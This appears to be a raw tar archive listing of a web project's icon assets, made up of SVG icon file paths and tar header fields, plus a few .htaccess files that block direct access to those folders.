0ustar00public/assets/assets/svg/image/ic_rotate_right_24px.svg000060400000000714151724235760017265 0ustar00public/assets/assets/svg/image/ic_timer_24px.svg000060400000000523151724235760015710 0ustar00public/assets/assets/svg/image/ic_compare_24px.svg000060400000000342151724235760016215 0ustar00public/assets/assets/svg/image/ic_filter_4_24px.svg000060400000000401151724235760016273 0ustar00public/assets/assets/svg/image/ic_photo_size_select_small_24px.svg000060400000000545151724235760021506 0ustar00public/assets/assets/svg/image/ic_flip_24px.svg000060400000000452151724235760015523 0ustar00public/assets/assets/svg/image/ic_filter_tilt_shift_24px.svg000060400000001437151724235760020313 0ustar00public/assets/assets/svg/image/ic_photo_size_select_large_24px.svg000060400000000557151724235760021473 0ustar00public/assets/assets/svg/image/ic_blur_on_24px.svg000060400000002746151724235760016241 0ustar00public/assets/assets/svg/image/ic_photo_filter_24px.svg000060400000000511151724235760017263 0ustar00public/assets/assets/svg/image/ic_wb_iridescent_24px.svg000060400000000557151724235760017420 0ustar00public/assets/assets/svg/image/ic_panorama_wide_angle_24px.svg000060400000001014151724235760020540 0ustar00public/assets/assets/svg/image/ic_grid_on_24px.svg000060400000000465151724235760016216 0ustar00public/assets/assets/svg/image/ic_exposure_neg_1_24px.svg000060400000000232151724235760017510 0ustar00public/assets/assets/svg/image/ic_lens_24px.svg000060400000000247151724235760015534 0ustar00public/assets/assets/svg/image/ic_colorize_24px.svg000060400000000502151724235760016413 0ustar00public/assets/assets/svg/image/ic_assistant_photo_24px.svg000060400000000211151724235760020004 0ustar00public/assets/assets/svg/image/ic_brightness_5_24px.svg000060400000000412151724235760017161 0ustar00public/assets/assets/svg/image/ic_timer_10_24px.svg000060400000003466151724235760016221 0ustar00public/assets/assets/svg/image/ic_hdr_off_24px.svg000060400000000560151724235760016200 0ustar00public/assets/assets/svg/image/ic_nature_people_24px.svg000060400000000523151724235760017432 0ustar00public/assets/assets/svg/image/ic_crop_3_2_24px.svg000060400000000301151724235760016170 0ustar00public/assets/assets/svg/image/ic_camera_24px.svg000060400000001000151724235760016007 0ustar00public/assets/assets/svg/image/ic_slideshow_24px.svg000060400000000320151724235760016564 0ustar00public/assets/assets/svg/image/ic_crop_din_24px.svg000060400000000301151724235760016357 0ustar00public/assets/assets/svg/image/ic_filter_3_24px.svg000060400000000524151724235760016300 0ustar00public/assets/assets/svg/image/ic_panorama_vertical_24px.svg000060400000000775151724235760020270 0ustar00public/assets/assets/svg/image/ic_rotate_90_degrees_ccw_24px.svg000060400000000702151724235760020727 0ustar00public/assets/assets/svg/image/ic_exposure_zero_24px.svg000060400000001441151724235760017501 0ustar00public/assets/assets/svg/image/ic_crop_landscape_24px.svg000060400000000301151724235760017537 0ustar00public/assets/assets/svg/image/ic_gradient_24px.svg000060400000000532151724235760016365 0ustar00public/assets/assets/svg/image/ic_brightness_2_24px.svg000060400000000344151724235760017162 0ustar00public/assets/assets/svg/image/ic_filter_hdr_24px.svg000060400000000246151724235760016714 0ustar00public/assets/assets/svg/image/ic_crop_24px.svg000060400000000273151724235760015535 0ustar00public/assets/assets/svg/image/ic_remove_red_eye_24px.svg000060400000000466151724235760017567 0ustar00public/assets/assets/svg/image/ic_photo_24px.svg000060400000000335151724235760015722 0ustar00public/assets/assets/svg/image/ic_landscape_24px.svg000060400000000246151724235760016524 0ustar00public/assets/assets/svg/image/ic_looks_6_24px.svg000060400000000432151724235760016143 0ustar00public/assets/assets/svg/image/ic_flare_24px.svg000060400000000653151724235760015665 0ustar00public/assets/assets/svg/image/ic_hdr_weak_24px.svg000060400000000422151724235760016352 0ustar00public/assets/assets/svg/image/ic_photo_album_24px.svg000060400000000360151724235760017100 0ustar00public/assets/assets/svg/image/ic_timelapse_24px.svg000060400000000512151724235760016551 0ustar00public/assets/assets/svg/image/ic_brightness_4_24px.svg000060400000000516151724235760017165 0ustar00public/assets/assets/svg/image/ic_photo_library_24px.svg000060400000000365151724235760017451 0ustar00public/assets/assets/svg/image/ic_filter_5_24px.svg000060400000000445151724235760016304 0ustar00public/assets/assets/svg/image/ic_tonality_24px.svg000060400000000702151724235760016432 0ustar00public/assets/assets/svg/image/ic_crop_16_9_24px.svg000060400000000277151724235760016277 0ustar00public/assets/assets/svg/image/ic_flash_auto_24px.svg000060400000000311151724235760016710 0ustar00public/assets/assets/svg/image/ic_looks_24px.svg000060400000000401151724235760015712 0ustar00public/assets/assets/svg/image/ic_crop_free_24px.svg000060400000000356151724235760016540 0ustar00public/assets/assets/svg/image/ic_center_focus_strong_24px.svg000060400000000450151724235760020642 0ustar00public/assets/assets/svg/image/ic_grain_24px.svg000060400000000753151724235760015675 0ustar00public/assets/assets/svg/image/ic_flash_off_24px.svg000060400000000307151724235760016517 0ustar00public/assets/assets/svg/image/ic_brightness_3_24px.svg000060400000000344151724235760017163 0ustar00public/assets/assets/svg/image/ic_style_24px.svg000060400000000746151724235760015737 0ustar00public/assets/assets/svg/image/ic_image_24px.svg000060400000000335151724235760015653 0ustar00public/assets/assets/svg/image/ic_filter_frames_24px.svg000060400000000360151724235760017411 0ustar00public/assets/assets/svg/image/ic_control_point_duplicate_24px.svg000060400000000546151724235760021520 0ustar00public/assets/assets/svg/image/ic_audiotrack_24px.svg000060400000000323151724235760016714 0ustar00public/assets/assets/svg/image/ic_navigate_before_24px.svg000060400000000222151724235760017704 0ustar00public/assets/assets/svg/image/ic_picture_as_pdf_24px.svg000060400000000630151724235760017556 0ustar00public/assets/assets/svg/image/ic_transform_24px.svg000060400000000320151724235760016576 0ustar00public/assets/assets/svg/image/ic_looks_one_24px.svg000060400000000307151724235760016560 0ustar00public/assets/assets/svg/image/ic_crop_square_24px.svg000060400000000301151724235760017105 0ustar00public/assets/assets/svg/image/ic_photo_size_select_actual_24px.svg000060400000000316151724235760021643 0ustar00public/assets/assets/svg/image/ic_filter_vintage_24px.svg000060400000001303151724235760017567 0ustar00public/assets/assets/svg/image/ic_camera_roll_24px.svg000060400000000470151724235760017051 0ustar00public/assets/assets/svg/image/ic_wb_incandescent_24px.svg000060400000000544151724235760017721 0ustar00public/assets/assets/svg/image/ic_switch_camera_24px.svg000060400000000375151724235760017406 0ustar00public/assets/assets/svg/image/ic_collections_bookmark_24px.svg000060400000000356151724235760020777 0ustar00public/assets/assets/svg/image/ic_filter_2_24px.svg000060400000000467151724235760016305 0ustar00public/assets/assets/svg/image/ic_add_a_photo_24px.svg000060400000000535151724235760017034 0ustar00public/assets/assets/svg/image/ic_exposure_plus_2_24px.svg000060400000001275151724235760017733 0ustar00public/assets/assets/svg/content/ic_report_24px.svg000060400000000421151724235760016470 0ustar00public/assets/assets/svg/content/ic_backspace_24px.svg000060400000000472151724235760017077 0ustar00public/assets/assets/svg/content/ic_content_copy_24px.svg000060400000000344151724235760017665 0ustar00public/assets/assets/svg/content/ic_mail_24px.svg000060400000000322151724235760016077 0ustar00public/assets/assets/svg/content/ic_flag_24px.svg000060400000000211151724235760016063 0ustar00public/assets/assets/svg/content/ic_add_circle_outline_24px.svg000060400000000403151724235760020765 0ustar00public/assets/assets/svg/content/ic_reply_24px.svg000060400000000235151724235760016313 0ustar00public/assets/assets/svg/content/ic_content_paste_24px.svg000060400000000455151724235760020032 0ustar00public/assets/assets/svg/content/ic_inbox_24px.svg000060400000000366151724235760016304 0ustar00public/assets/assets/svg/content/ic_filter_list_24px.svg000060400000000223151724235760017475 0ustar00public/assets/assets/svg/content/ic_undo_24px.svg000060400000000363151724235760016127 0ustar00public/assets/assets/svg/content/ic_font_download_24px.svg000060400000000435151724235760020017 0ustar00public/assets/assets/svg/content/ic_link_24px.svg000060400000000470151724235760016116 0ustar00public/assets/assets/svg/content/ic_markunread_24px.svg000060400000000322151724235760017306 0ustar00public/assets/assets/svg/content/ic_block_24px.svg000060400000000516151724235760016254 0ustar00public/assets/assets/svg/content/ic_unarchive_24px.svg000060400000000516151724235760017146 0ustar00public/assets/assets/svg/content/ic_text_format_24px.svg000060400000000312151724235760017510 0ustar00public/assets/assets/svg/content/ic_remove_circle_outline_24px.svg000060400000000360151724235760021534 0ustar00public/assets/assets/svg/content/ic_remove_circle_24px.svg000060400000000267151724235760020003 0ustar00public/assets/assets/svg/content/ic_drafts_24px.svg000060400000000371151724235760016444 0ustar00public/assets/assets/svg/content/ic_clear_24px.svg000060400000000312151724235760016242 0ustar00public/assets/assets/svg/content/ic_send_24px.svg000060400000000212151724235760016104 0ustar00public/assets/assets/svg/content/ic_add_24px.svg000060400000000210151724235760015701 0ustar00public/assets/assets/svg/content/ic_weekend_24px.svg000060400000000503151724235760016600 0ustar00public/assets/assets/svg/content/ic_save_24px.svg000060400000000363151724235760016120 0ustar00public/assets/assets/svg/content/ic_create_24px.svg000060400000000372151724235760016425 0ustar00public/assets/assets/svg/content/ic_add_box_24px.svg000060400000000326151724235760016561 0ustar00public/assets/assets/svg/content/.htaccess000044400000000177151724235760014714 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/content/ic_next_week_24px.svg000060400000000472151724235760017154 0ustar00public/assets/assets/svg/content/ic_select_all_24px.svg000060400000000625151724235760017272 0ustar00public/assets/assets/svg/content/ic_add_circle_24px.svg000060400000000311151724235760017224 0ustar00public/assets/assets/svg/content/ic_move_to_inbox_24px.svg000060400000000416151724235760020030 0ustar00public/assets/assets/svg/content/ic_reply_all_24px.svg000060400000000270151724235760017142 0ustar00public/assets/assets/svg/content/ic_remove_24px.svg000060400000000166151724235760016460 0ustar00public/assets/assets/svg/content/ic_content_cut_24px.svg000060400000000777151724235760017520 0ustar00public/assets/assets/svg/content/ic_archive_24px.svg000060400000000515151724235760016602 0ustar00public/assets/assets/svg/content/ic_gesture_24px.svg000060400000001362151724235760016640 0ustar00public/assets/assets/svg/content/ic_forward_24px.svg000060400000000174151724235760016626 0ustar00public/assets/assets/svg/content/ic_sort_24px.svg000060400000000221151724235760016142 0ustar00public/assets/assets/svg/content/ic_redo_24px.svg000060400000000364151724235760016114 0ustar00public/assets/assets/svg/av/ic_video_library_24px.svg000060400000000353151724235760016747 0ustar00public/assets/assets/svg/av/ic_fiber_manual_record_24px.svg000060400000000207151724235760020075 0ustar00public/assets/assets/svg/av/ic_mic_24px.svg000060400000000444151724235760014666 0ustar00public/assets/assets/svg/av/ic_movie_24px.svg000060400000000323151724235760015231 0ustar00public/assets/assets/svg/av/ic_play_arrow_24px.svg000060400000000162151724235760016272 0ustar00public/assets/assets/svg/av/ic_album_24px.svg000060400000000460151724235760015214 0ustar00public/assets/assets/svg/av/.htaccess000044400000000177151724235760013650 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/av/ic_games_24px.svg000060400000000312151724235760015204 0ustar00public/assets/assets/svg/av/ic_playlist_add_24px.svg000060400000000266151724235760016571 0ustar00public/assets/assets/svg/av/ic_replay_5_24px.svg000060400000001021151724235760015626 0ustar00public/assets/assets/svg/av/ic_skip_previous_24px.svg000060400000000200151724235760017006 0ustar00public/assets/assets/svg/av/ic_slow_motion_video_24px.svg000060400000001171151724235760017653 0ustar00public/assets/assets/svg/av/ic_web_24px.svg000060400000000345151724235760014673 0ustar00public/assets/assets/svg/av/ic_replay_10_24px.svg000060400000001052151724235760015706 0ustar00public/assets/assets/svg/av/ic_skip_next_24px.svg000060400000000210151724235760016111 0ustar00public/assets/assets/svg/av/ic_not_interested_24px.svg000060400000000523151724235760017142 0ustar00public/assets/assets/svg/av/ic_recent_actors_24px.svg000060400000000552151724235760016751 0ustar00public/assets/assets/svg/av/ic_explicit_24px.svg000060400000000321151724235760015731 0ustar00public/assets/assets/svg/av/ic_replay_30_24px.svg000060400000001652151724235760015716 0ustar00public/assets/assets/svg/av/ic_hd_24px.svg000060400000000434151724235760014510 0ustar00public/assets/assets/svg/av/ic_pause_24px.svg000060400000000204151724235760015225 0ustar00public/assets/assets/svg/av/ic_web_asset_24px.svg000060400000000323151724235760016066 0ustar00public/assets/assets/svg/av/ic_remove_from_queue_24px.svg000060400000000345151724235760017642 0ustar00public/assets/assets/svg/av/ic_videocam_off_24px.svg000060400000000402151724235760016531 0ustar00public/assets/assets/svg/av/ic_loop_24px.svg000060400000000504151724235760015064 0ustar00public/assets/assets/svg/av/ic_fast_rewind_24px.svg000060400000000220151724235760016413 0ustar00public/assets/assets/svg/av/ic_forward_5_24px.svg000060400000001026151724235760016003 0ustar00public/assets/assets/svg/av/ic_playlist_play_24px.svg000060400000000242151724235760017000 0ustar00public/assets/assets/svg/av/ic_volume_mute_24px.svg000060400000000173151724235760016456 0ustar00public/assets/assets/svg/av/ic_sort_by_alpha_24px.svg000060400000000517151724235760016745 0ustar00public/assets/assets/svg/av/ic_subscriptions_24px.svg000060400000000350151724235760017021 0ustar00public/assets/assets/svg/av/ic_radio_24px.svg000060400000000461151724235760015213 0ustar00public/assets/assets/svg/av/ic_fiber_smart_record_24px.svg000060400000000375151724235760017754 0ustar00public/assets/assets/svg/av/ic_replay_24px.svg000060400000000312151724235760015404 0ustar00public/assets/assets/svg/av/ic_new_releases_24px.svg000060400000000465151724235760016575 0ustar00public/assets/assets/svg/av/ic_mic_none_24px.svg000060400000000623151724235760015704 0ustar00public/assets/assets/svg/av/ic_queue_24px.svg000060400000000364151724235760015243 0ustar00public/assets/assets/svg/av/ic_fiber_new_24px.svg000060400000000602151724235760016052 0ustar00public/assets/assets/svg/av/ic_library_music_24px.svg000060400000000465151724235760016765 0ustar00public/assets/assets/svg/av/ic_stop_24px.svg000060400000000162151724235760015100 0ustar00public/assets/assets/svg/av/ic_art_track_24px.svg000060400000000433151724235760016066 0ustar00public/assets/assets/svg/av/ic_playlist_add_check_24px.svg000060400000000312151724235760017716 0ustar00public/assets/assets/svg/av/ic_high_quality_24px.svg000060400000000516151724235760016605 0ustar00public/assets/assets/svg/av/ic_volume_off_24px.svg000060400000000704151724235760016256 0ustar00public/assets/assets/svg/av/ic_closed_caption_24px.svg000060400000000600151724235760017076 0ustar00public/assets/assets/svg/av/ic_fiber_dvr_24px.svg000060400000000636151724235760016063 0ustar00public/assets/assets/svg/av/ic_repeat_one_24px.svg000060400000000277151724235760016243 0ustar00public/assets/assets/svg/av/ic_repeat_24px.svg000060400000000244151724235760015374 0ustar00public/assets/assets/svg/av/ic_airplay_24px.svg000060400000000322151724235760015552 0ustar00public/assets/assets/svg/av/ic_add_to_queue_24px.svg000060400000000370151724235760016552 0ustar00public/assets/assets/svg/av/ic_surround_sound_24px.svg000060400000001030151724235760017177 0ustar00public/assets/assets/svg/av/ic_play_circle_filled_24px.svg000060400000000277151724235760017727 0ustar00public/assets/assets/svg/av/ic_forward_10_24px.svg000060400000001052151724235760016056 0ustar00public/assets/assets/svg/av/ic_av_timer_24px.svg000060400000000701151724235760015720 0ustar00public/assets/assets/svg/av/ic_shuffle_24px.svg000060400000000422151724235760015546 0ustar00public/assets/assets/svg/av/ic_fiber_pin_24px.svg000060400000000531151724235760016050 0ustar00public/assets/assets/svg/av/ic_forward_30_24px.svg000060400000001655151724235760016071 0ustar00public/assets/assets/svg/av/ic_queue_play_next_24px.svg000060400000000411151724235760017317 0ustar00public/assets/assets/svg/av/ic_music_video_24px.svg000060400000000447151724235760016427 0ustar00public/assets/assets/svg/av/ic_videocam_24px.svg000060400000000312151724235760015677 0ustar00public/assets/assets/svg/av/ic_volume_up_24px.svg000060400000000440151724235760016125 0ustar00public/assets/assets/svg/av/ic_library_add_24px.svg000060400000000364151724235760016373 0ustar00public/assets/assets/svg/av/ic_subtitles_24px.svg000060400000000357151724235760016137 0ustar00public/assets/assets/svg/av/ic_queue_music_24px.svg000060400000000345151724235760016442 0ustar00public/assets/assets/svg/av/ic_pause_circle_filled_24px.svg000060400000000304151724235760020066 0ustar00public/assets/assets/svg/av/ic_mic_off_24px.svg000060400000000711151724235760015515 0ustar00public/assets/assets/svg/av/ic_fast_forward_24px.svg000060400000000214151724235760016572 0ustar00public/assets/assets/svg/av/ic_library_books_24px.svg000060400000000377151724235760016764 0ustar00public/assets/assets/svg/av/ic_pause_circle_outline_24px.svg000060400000000375151724235760020316 0ustar00public/assets/assets/svg/av/ic_equalizer_24px.svg000060400000000225151724235760016114 0ustar00public/assets/assets/svg/av/ic_volume_down_24px.svg000060400000000275151724235760016456 0ustar00public/assets/assets/svg/av/ic_hearing_24px.svg000060400000001214151724235760015527 0ustar00public/assets/assets/svg/av/ic_snooze_24px.svg000060400000000554151724235760015435 0ustar00public/assets/assets/svg/av/ic_play_circle_outline_24px.svg000060400000000370151724235760020141 0ustar00public/assets/assets/svg/maps/ic_local_grocery_store_24px.svg000060400000000646151724235760020514 0ustar00public/assets/assets/svg/maps/ic_beenhere_24px.svg000060400000000415151724235760016223 0ustar00public/assets/assets/svg/maps/ic_local_see_24px.svg000060400000000437151724235760016400 0ustar00public/assets/assets/svg/maps/ic_layers_clear_24px.svg000060400000000514151724235760017113 0ustar00public/assets/assets/svg/maps/ic_flight_24px.svg000060400000000357151724235760015730 0ustar00public/assets/assets/svg/maps/ic_person_pin_24px.svg000060400000000520151724235760016617 0ustar00public/assets/assets/svg/maps/ic_layers_24px.svg000060400000000320151724235760015740 0ustar00public/assets/assets/svg/maps/ic_local_airport_24px.svg000060400000000333151724235760017277 0ustar00public/assets/assets/svg/maps/ic_local_atm_24px.svg000060400000000506151724235760016402 0ustar00public/assets/assets/svg/maps/ic_add_location_24px.svg000060400000000314151724235760017064 0ustar00public/assets/assets/svg/maps/ic_local_cafe_24px.svg000060400000000335151724235760016517 0ustar00public/assets/assets/svg/maps/ic_directions_boat_24px.svg000060400000001024151724235760017613 0ustar00public/assets/assets/svg/maps/ic_edit_location_24px.svg000060400000000447151724235760017270 0ustar00public/assets/assets/svg/maps/ic_directions_walk_24px.svg000060400000000467151724235760017636 0ustar00public/assets/assets/svg/maps/ic_traffic_24px.svg000060400000001034151724235760016062 0ustar00public/assets/assets/svg/maps/ic_terrain_24px.svg000060400000000246151724235760016114 0ustar00public/assets/assets/svg/maps/ic_satellite_24px.svg000060400000000455151724235760016440 0ustar00public/assets/assets/svg/maps/ic_zoom_out_map_24px.svg000060400000000456151724235760017163 0ustar00public/assets/assets/svg/maps/ic_local_taxi_24px.svg000060400000000701151724235760016563 0ustar00public/assets/assets/svg/maps/ic_directions_bus_24px.svg000060400000000656151724235760017471 0ustar00public/assets/assets/svg/maps/ic_local_activity_24px.svg000060400000000537151724235760017461 0ustar00public/assets/assets/svg/maps/ic_directions_car_24px.svg000060400000000670151724235760017441 0ustar00public/assets/assets/svg/maps/ic_rate_review_24px.svg000060400000000415151724235760016762 0ustar00public/assets/assets/svg/maps/ic_local_movies_24px.svg000060400000000357151724235760017127 0ustar00public/assets/assets/svg/maps/ic_local_car_wash_24px.svg000060400000001265151724235760017413 0ustar00public/assets/assets/svg/maps/ic_local_convenience_store_24px.svg000060400000000300151724235760021321 0ustar00public/assets/assets/svg/maps/ic_local_play_24px.svg000060400000000537151724235760016572 0ustar00public/assets/assets/svg/maps/ic_directions_run_24px.svg000060400000000523151724235760017475 0ustar00public/assets/assets/svg/maps/ic_local_bar_24px.svg000060400000000255151724235760016366 0ustar00public/assets/assets/svg/maps/ic_person_pin_circle_24px.svg000060400000000511151724235760020140 0ustar00public/assets/assets/svg/maps/ic_store_mall_directory_24px.svg000060400000000257151724235760020677 0ustar00public/assets/assets/svg/maps/ic_pin_drop_24px.svg000060400000000352151724235760016260 0ustar00public/assets/assets/svg/maps/ic_local_florist_24px.svg000060400000001244151724235760017303 0ustar00public/assets/assets/svg/maps/ic_near_me_24px.svg000060400000000223151724235760016051 0ustar00public/assets/assets/svg/maps/ic_local_dining_24px.svg000060400000000546151724235760017075 0ustar00public/assets/assets/svg/maps/ic_place_24px.svg000060400000000377151724235760015541 0ustar00public/assets/assets/svg/maps/ic_navigation_24px.svg000060400000000221151724235760016600 0ustar00public/assets/assets/svg/maps/ic_local_hotel_24px.svg000060400000000324151724235760016732 0ustar00public/assets/assets/svg/maps/ic_directions_transit_24px.svg000060400000000623151724235760020356 0ustar00public/assets/assets/svg/maps/ic_local_parking_24px.svg000060400000000275151724235760017257 0ustar00public/assets/assets/svg/maps/ic_directions_railway_24px.svg000060400000000427151724235760020344 0ustar00public/assets/assets/svg/maps/.htaccess000044400000000177151724235760014202 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/maps/ic_directions_24px.svg000060400000000435151724235760016613 0ustar00public/assets/assets/svg/maps/ic_local_drink_24px.svg000060400000000432151724235760016726 0ustar00public/assets/assets/svg/maps/ic_local_offer_24px.svg000060400000000536151724235760016725 0ustar00public/assets/assets/svg/maps/ic_map_24px.svg000060400000000431151724235760015221 0ustar00public/assets/assets/svg/maps/ic_local_pizza_24px.svg000060400000000407151724235760016756 0ustar00public/assets/assets/svg/maps/ic_local_post_office_24px.svg000060400000000322151724235760020115 0ustar00public/assets/assets/svg/maps/ic_local_gas_station_24px.svg000060400000000713151724235760020134 0ustar00public/assets/assets/svg/maps/ic_my_location_24px.svg000060400000000600151724235760016757 0ustar00public/assets/assets/svg/maps/ic_local_hospital_24px.svg000060400000000333151724235760017442 0ustar00public/assets/assets/svg/maps/ic_local_library_24px.svg000060400000000417151724235760017266 0ustar00public/assets/assets/svg/maps/ic_directions_bike_24px.svg000060400000001117151724235760017603 0ustar00public/assets/assets/svg/maps/ic_local_phone_24px.svg000060400000000525151724235760016733 0ustar00public/assets/assets/svg/maps/ic_local_laundry_service_24px.svg000060400000000662151724235760021022 0ustar00public/assets/assets/svg/maps/ic_local_mall_24px.svg000060400000000520151724235760016542 0ustar00public/assets/assets/svg/maps/ic_directions_subway_24px.svg000060400000000623151724235760020204 0ustar00public/assets/assets/svg/maps/ic_hotel_24px.svg000060400000000324151724235760015560 0ustar00public/assets/assets/svg/maps/ic_local_shipping_24px.svg000060400000000605151724235760017442 0ustar00public/assets/assets/svg/maps/ic_local_pharmacy_24px.svg000060400000000314151724235760017422 0ustar00public/assets/assets/svg/maps/ic_restaurant_menu_24px.svg000060400000000546151724235760017667 0ustar00public/assets/assets/svg/maps/ic_local_printshop_24px.svg000060400000000366151724235760017653 0ustar00public/assets/assets/svg/device/ic_signal_wifi_3_bar_lock_24px.svg000060400000001004151724235760021311 0ustar00public/assets/assets/svg/device/ic_access_alarm_24px.svg000060400000000546151724235760017367 0ustar00public/assets/assets/svg/device/ic_battery_60_24px.svg000060400000000422151724235760016722 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_connected_no_internet_4_26x24px.svg000060400000000355151724235760026544 0ustar00public/assets/assets/svg/device/ic_data_usage_24px.svg000060400000000576151724235760017052 0ustar00public/assets/assets/svg/device/ic_battery_50_24px.svg000060400000000422151724235760016721 0ustar00public/assets/assets/svg/device/ic_add_alarm_24px.svg000060400000000540151724235760016650 0ustar00public/assets/assets/svg/device/ic_airplanemode_active_24px.svg000060400000000357151724235760020745 0ustar00public/assets/assets/svg/device/ic_storage_24px.svg000060400000000274151724235760016414 0ustar00public/assets/assets/svg/device/ic_signal_wifi_4_bar_24px.svg000060400000000300151724235760020300 0ustar00public/assets/assets/svg/device/ic_location_searching_24px.svg000060400000000510151724235760020574 0ustar00public/assets/assets/svg/device/ic_network_cell_24px.svg000060400000000234151724235760017434 0ustar00public/assets/assets/svg/device/ic_location_disabled_24px.svg000060400000001035151724235760020403 0ustar00public/assets/assets/svg/device/ic_graphic_eq_24px.svg000060400000000261151724235760017046 0ustar00public/assets/assets/svg/device/ic_battery_30_24px.svg000060400000000422151724235760016717 0ustar00public/assets/assets/svg/device/ic_signal_wifi_1_bar_24px.svg000060400000000471151724235760020306 0ustar00public/assets/assets/svg/device/ic_signal_wifi_0_bar_24px.svg000060400000000322151724235760020300 0ustar00public/assets/assets/svg/device/ic_devices_24px.svg000060400000000362151724235760016370 0ustar00public/assets/assets/svg/device/ic_battery_20_24px.svg000060400000000422151724235760016716 0ustar00public/assets/assets/svg/device/ic_wallpaper_24px.svg000060400000000533151724235760016735 0ustar00public/assets/assets/svg/device/ic_signal_wifi_2_bar_24px.svg000060400000000466151724235760020313 0ustar00public/assets/assets/svg/device/ic_signal_cellular_off_24px.svg000060400000000277151724235760020745 0ustar00public/assets/assets/svg/device/ic_screen_lock_rotation_24px.svg000060400000001127151724235760021154 0ustar00public/assets/assets/svg/device/ic_screen_lock_portrait_24px.svg000060400000000555151724235760021165 0ustar00public/assets/assets/svg/device/ic_dvr_24px.svg000060400000000413151724235760015536 0ustar00public/assets/assets/svg/device/ic_signal_wifi_3_bar_24px.svg000060400000000502151724235760020303 0ustar00public/assets/assets/svg/device/ic_developer_mode_24px.svg000060400000000527151724235760017742 0ustar00public/assets/assets/svg/device/ic_bluetooth_connected_24px.svg000060400000000503151724235760020772 0ustar00public/assets/assets/svg/device/ic_signal_cellular_connected_no_internet_1_bar_24px.svg000060400000000307151724235760025577 0ustar00public/assets/assets/svg/device/ic_gps_fixed_24px.svg000060400000000600151724235760016711 0ustar00public/assets/assets/svg/device/ic_gps_not_fixed_24px.svg000060400000000510151724235760017571 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_not_connected_26x24px.svg000060400000001041151724235760024566 0ustar00public/assets/assets/svg/device/ic_settings_system_daydream_24px.svg000060400000000540151724235760022056 0ustar00public/assets/assets/svg/device/ic_usb_24px.svg000060400000000601151724235760015533 0ustar00public/assets/assets/svg/device/ic_signal_cellular_connected_no_internet_0_bar_24px.svg000060400000000266151724235760025602 0ustar00public/assets/assets/svg/device/ic_signal_wifi_2_bar_lock_24px.svg000060400000000771151724235760021322 0ustar00public/assets/assets/svg/device/ic_nfc_24px.svg000060400000000467151724235760015522 0ustar00public/assets/assets/svg/device/ic_network_wifi_24px.svg000060400000000502151724235760017451 0ustar00public/assets/assets/svg/device/ic_widgets_24px.svg000060400000000303151724235760016407 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_4_bar_26x24px.svg000060400000000275151724235760022743 0ustar00public/assets/assets/svg/device/ic_signal_cellular_connected_no_internet_2_bar_24px.svg000060400000000307151724235760025600 0ustar00public/assets/assets/svg/device/ic_signal_cellular_connected_no_internet_3_bar_24px.svg000060400000000306151724235760025600 0ustar00public/assets/assets/svg/device/ic_screen_rotation_24px.svg000060400000000760151724235760020146 0ustar00public/assets/assets/svg/device/ic_battery_full_24px.svg000060400000000344151724235760017442 0ustar00public/assets/assets/svg/device/ic_gps_off_24px.svg000060400000001035151724235760016367 0ustar00public/assets/assets/svg/device/ic_signal_wifi_off_24px.svg000060400000000454151724235760020075 0ustar00public/assets/assets/svg/device/ic_bluetooth_searching_24px.svg000060400000000742151724235760021000 0ustar00public/assets/assets/svg/device/ic_sd_storage_24px.svg000060400000000326151724235760017100 0ustar00public/assets/assets/svg/device/ic_signal_wifi_4_bar_lock_24px.svg000060400000000565151724235760021325 0ustar00public/assets/assets/svg/device/ic_battery_80_24px.svg000060400000000420151724235760016722 0ustar00public/assets/assets/svg/device/ic_bluetooth_disabled_24px.svg000060400000000446151724235760020605 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_connected_no_internet_2_26x24px.svg000060400000000556151724235760026545 0ustar00public/assets/assets/svg/device/ic_wifi_lock_24px.svg000060400000000605151724235760016714 0ustar00public/assets/assets/svg/device/ic_battery_90_24px.svg000060400000000420151724235760016723 0ustar00public/assets/assets/svg/device/ic_signal_cellular_connected_no_internet_4_bar_24px.svg000060400000000231151724235760025576 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_connected_no_internet_1_26x24px.svg000060400000000536151724235760026542 0ustar00public/assets/assets/svg/device/ic_signal_cellular_3_bar_24px.svg000060400000000234151724235760021152 0ustar00public/assets/assets/svg/device/ic_screen_lock_landscape_24px.svg000060400000000555151724235760021253 0ustar00public/assets/assets/svg/device/ic_signal_cellular_2_bar_24px.svg000060400000000235151724235760021152 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_connected_no_internet_26x24px.svg000060400000000407151724235760026317 0ustar00public/assets/assets/svg/device/ic_brightness_low_24px.svg000060400000000412151724235760017773 0ustar00public/assets/assets/svg/device/ic_battery_charging_60_24px.svg000060400000000477151724235760020576 0ustar00public/assets/assets/svg/device/ic_signal_cellular_0_bar_24px.svg000060400000000202151724235760021142 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_3_bar_26x24px.svg000060400000000466151724235760022744 0ustar00public/assets/assets/svg/device/ic_battery_charging_50_24px.svg000060400000000514151724235760020565 0ustar00public/assets/assets/svg/device/ic_signal_wifi_1_bar_lock_24px.svg000060400000000761151724235760021320 0ustar00public/assets/assets/svg/device/ic_signal_cellular_1_bar_24px.svg000060400000000235151724235760021151 0ustar00public/assets/assets/svg/device/ic_access_time_24px.svg000060400000000433151724235760017224 0ustar00public/assets/assets/svg/device/ic_battery_charging_30_24px.svg000060400000000475151724235760020571 0ustar00public/assets/assets/svg/device/ic_brightness_high_24px.svg000060400000000503151724235760020112 0ustar00public/assets/assets/svg/device/ic_signal_cellular_4_bar_24px.svg000060400000000160151724235760021151 0ustar00public/assets/assets/svg/device/ic_battery_unknown_24px.svg000060400000000711151724235760020175 0ustar00public/assets/assets/svg/device/ic_battery_charging_20_24px.svg000060400000000475151724235760020570 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_connected_no_internet_3_26x24px.svg000060400000000545151724235760026544 0ustar00public/assets/assets/svg/device/ic_battery_std_24px.svg000060400000000344151724235760017272 0ustar00public/assets/assets/svg/device/ic_brightness_auto_24px.svg000060400000000437151724235760020151 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_2_bar_26x24px.svg000060400000000465151724235760022742 0ustar00public/assets/assets/svg/device/ic_bluetooth_24px.svg000060400000000424151724235760016752 0ustar00public/assets/assets/svg/device/ic_battery_charging_full_24px.svg000060400000000403151724235760021300 